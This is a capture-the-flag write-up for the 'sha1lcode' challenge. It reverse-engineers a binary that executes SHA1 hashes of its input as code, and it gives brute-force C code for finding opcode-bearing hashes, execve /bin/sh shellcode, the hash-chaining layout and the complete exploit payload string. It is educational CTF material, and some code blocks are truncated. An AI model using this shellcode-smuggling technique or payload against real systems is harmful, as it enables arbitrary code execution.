• Solved by: samuirai
  • Writeup Author: samuirai

The name of the challange sha1lcode already hints on the overall idea - writing shellcode that has something todo with sha1 hashes.

So let's have a first look at the provided binary file:

$ file sha1lcode-5b43cc13b0fb249726e0ae175dbef3fe
sha1lcode-5b43cc13b0fb249726e0ae175dbef3fe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped

The following call tree image is generated with Hopper

sha1lcode calltree

Hopper can also generate some pseudo C code, which I have cleaned up a little bit and renamed variables:

    function main {
        read(0x0, &input_size, 0x4);
        if (input_size > 0x3e8) {
                rax = exit(0x0);
        else {
                i = 0x0;
                while (input_size*16 > i) {
                        anz_chrs = read(0x0, input_data+i, (input_size*16)-i);
                        i = anz_chrs+i;
                j = 0x0;
                while (j < input_size) {
                         SHA1((j*16) + input_data, 0x10, (j*8 + j*8) + code);
                        j = j + 0x1;
                memset(input_data, 0xffffffff, 0x3e80);
                rax = (code)();
                return 0x0;
        return rax;

At the start of the function you can see a read() of 4 bytes and a first check afterwards, which would exit the application if you enter 4 bytes bigger than 0x3e8. If this is check is passed, the entered value input_size is used in the while loop to read() more data into input_data. After this loop is completed, input_data is hashed in 16 byte chunks with SHA1() and written into code. At the end the original input_data is overwritten with 0xffffffff and the program jumps to the code data.

So the data we input in the loop, gets hashed in 16 byte chunks with SHA1 and then we jump to those hashes. Now it's clear what we have to do - we have to generate SHA1 hashes with valid x86-64 opcodes.

This is a bit of crappy C code to bruteforce hashes with specific values.

#include <stdio.h>
#include <string.h>
#include <openssl/sha.h>

void gen_random(char *s, const int len) {
    static const char alphanum[] =

    for (int i = 0; i < len; ++i) {
        s[i] = alphanum[rand() % (sizeof(alphanum) - 1)];

    s[len] = 0;

int main()
    int max = 32; // generate max. 32 hashes with the searched values
    unsigned char ibuf[20];
    unsigned char obuf[20];
    for(;;) {
        // get a random string
        gen_random(ibuf, 0x10);

        // hash the random string
        SHA1(ibuf, 0x10, obuf);

        check if we got a hash with the opcode(s) we want.
        if(obuf[17]==0x48 && obuf[18]==0x09 && obuf[19]==0xcb ) {
        if(obuf[18]==0xb1 && obuf[19]==0x96 ) {
        if(obuf[0]==0xeb && obuf[1]==35 ) {
        if(obuf[0]==0x31 && obuf[1]==0xc0 ) {
            printf("%s sha1(",ibuf);
            for(int i = 0; i < 20; i++) {
                printf("%02x", obuf[i]);
            return 0;
    return 0;

Now that we have a little tool to generate hashes with opcodes we have to come up with a general idea to fit the shellcode into the hashes:

sha1lcode opcodes

The program jumps to the start of the first hash and there will be a jump to the end of the 2nd hash. At the end of the 2nd hash starts the shellcode with the first instruction(s). The beginning of the hash afterwards will be another jump the the end of the hash after that.

So generally we have in the beginning of one hash a jump to the end of the next hash, which will contain one or more shellcode opcodes. This way we can execute anything we want...

And this is the shellcode I used:

xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b

The only problem is the length of the opcode. It was fairly fast to bruteforce up to three bytes. But I had to get the long string /bin/sh into the 64bit register and the 10 byte opcode is too long to bruteforce.

48BBD19D9691D08C97FF: mov rbx, 0xff978cd091969dd1

So I had to split this up in smaller opcodes:

mov   bl, 0x97
mov   bh, 0xff
shl  ebx, 0x10
mov   bh, 0x8c
mov   bl, 0xd0
shl  rbx, 0x20
mov   ch, 0x91
mov   cl, 0x96
shl  ecx, 0x10
mov   cl, 0xd1
mov   ch, 0x9d

Which is almost perfect, but the shl in rbx still need 4 bytes:

48C1E310: shl rbx, 0x10

But because 3 bytes can be bruteforced easily and the jmp only needs 2 bytes, we can bruteforce 3 bytes at the end of the one hash, and 3 bytes at the beginning fo the next hash to match opcode (4 bytes) + jump (2 bytes) = 6 bytes

In the end we can split up the shellcode like this:

  original text         opcode in the sha1 hash
ikLEsXBe58oJIuFL : (start) jmp 2
CYOEsiM5zOvynLcZ :   (end) xor eax, eax
EI6Tlq7y76Vh5hyN : (start) jmp 2
S61SFzdOBn3zyrBf :   (end) mov bl, 0x97
EI6Tlq7y76Vh5hyN : (start) jmp 2
zihgN1OfifVotOPs :   (end) mov bh, 0xff
qzg3NxCyYGweMVIr : (start) jmp 3
czbdI1dngWv4nbYv :   (end) shl EBX
EI6Tlq7y76Vh5hyN : (start) jmp 2
UqZhIrIoQrZu29qM :   (end) mov bh
EI6Tlq7y76Vh5hyN : (start) jmp 2
gMq4RKcD34SOoMpk :   (end) mov bl
qzg3NxCyYGweMVIr : (start) jmp 3
j90mqufCQHUY7DFI :   (end) part shl
BkrI3NqemVnl6iq2 : (start) part shl and jmp 2
l05Y1tnrwjQGa9GB :   (end) mov ch, 0x91
EI6Tlq7y76Vh5hyN : (start) jmp 2
mqKoGcLyK8fi3kSH :   (end) mov cl, 0x96
qzg3NxCyYGweMVIr : (start) jmp 3
hVoED3xi4I5kTghS :   (end) shl ECX
EI6Tlq7y76Vh5hyN : (start) jmp 2
70hQz3yujDwrWyEi :   (end) mov cl, 0xd1
EI6Tlq7y76Vh5hyN : (start) jmp 2
JcGdue7SlbVZ2lpg :   (end) mov ch, 0x9d
qzg3NxCyYGweMVIr : (start) jmp 3
XJodA3GFNyfC5mp1 :   (end) or rbx, rcx
qzg3NxCyYGweMVIr : (start) jmp 3
CzoXGfRlsiDKfS4H :   (end) neg rbx
qzg3NxCyYGweMVIr : (start) jmp 3
fgnxUdbfK3yemOIH :   (end) push rbx, push rsp, pop rdi
qzg3NxCyYGweMVIr : (start) jmp 3
taglR8DRWWJmg8Ss :   (end) cdq, push rdx, push rdi
EI6Tlq7y76Vh5hyN : (start) jmp 2
ygX8lQIoZ4Ln5EjX :   (end) push rsp, pop rsi
EI6Tlq7y76Vh5hyN : (start) jmp 2
9tyObcwpkagTLtEh :   (end) mov al, 0x3b
EI6Tlq7y76Vh5hyN : (start) jmp 2
JtZj2STVLXTitmQD :   (end) syscall

The number behind jmp 2/3 means if it will jump to 2 or 3 bytes before the end of the next hash. Because jumps are done relatively and not absolute it is always the same hash. qzg3NxCyYGweMVIr == jump to the last 3 bytes of the next hash and EI6Tlq7y76Vh5hyN == jump to the last 2 bytes of the next hash.

Now we can put the full string together, with \x3a\x00\x00\x00 as prefix to pass the first check, followed by the 16 byte chunks for the sha1 hashes:

echo "\x3a\x00\x00\x00ikLEsXBe58oJIuFLCYOEsiM5zOvynLcZEI6Tlq7y76Vh5hyNS61SFzdOBn3zyrBfEI6Tlq7y76Vh5hyNzihgN1OfifVotOPsqzg3NxCyYGweMVIrczbdI1dngWv4nbYvEI6Tlq7y76Vh5hyNUqZhIrIoQrZu29qMEI6Tlq7y76Vh5hyNgMq4RKcD34SOoMpkqzg3NxCyYGweMVIrj90mqufCQHUY7DFIBkrI3NqemVnl6iq2l05Y1tnrwjQGa9GBEI6Tlq7y76Vh5hyNmqKoGcLyK8fi3kSHqzg3NxCyYGweMVIrhVoED3xi4I5kTghSEI6Tlq7y76Vh5hyN70hQz3yujDwrWyEiEI6Tlq7y76Vh5hyNJcGdue7SlbVZ2lpgqzg3NxCyYGweMVIrXJodA3GFNyfC5mp1qzg3NxCyYGweMVIrCzoXGfRlsiDKfS4Hqzg3NxCyYGweMVIrfgnxUdbfK3yemOIHqzg3NxCyYGweMVIrtaglR8DRWWJmg8SsEI6Tlq7y76Vh5hyNygX8lQIoZ4Ln5EjXEI6Tlq7y76Vh5hyN9tyObcwpkagTLtEhEI6Tlq7y76Vh5hyNJtZj2STVLXTitmQD`python -c 'print \"A\"*0x3e8'`" > asd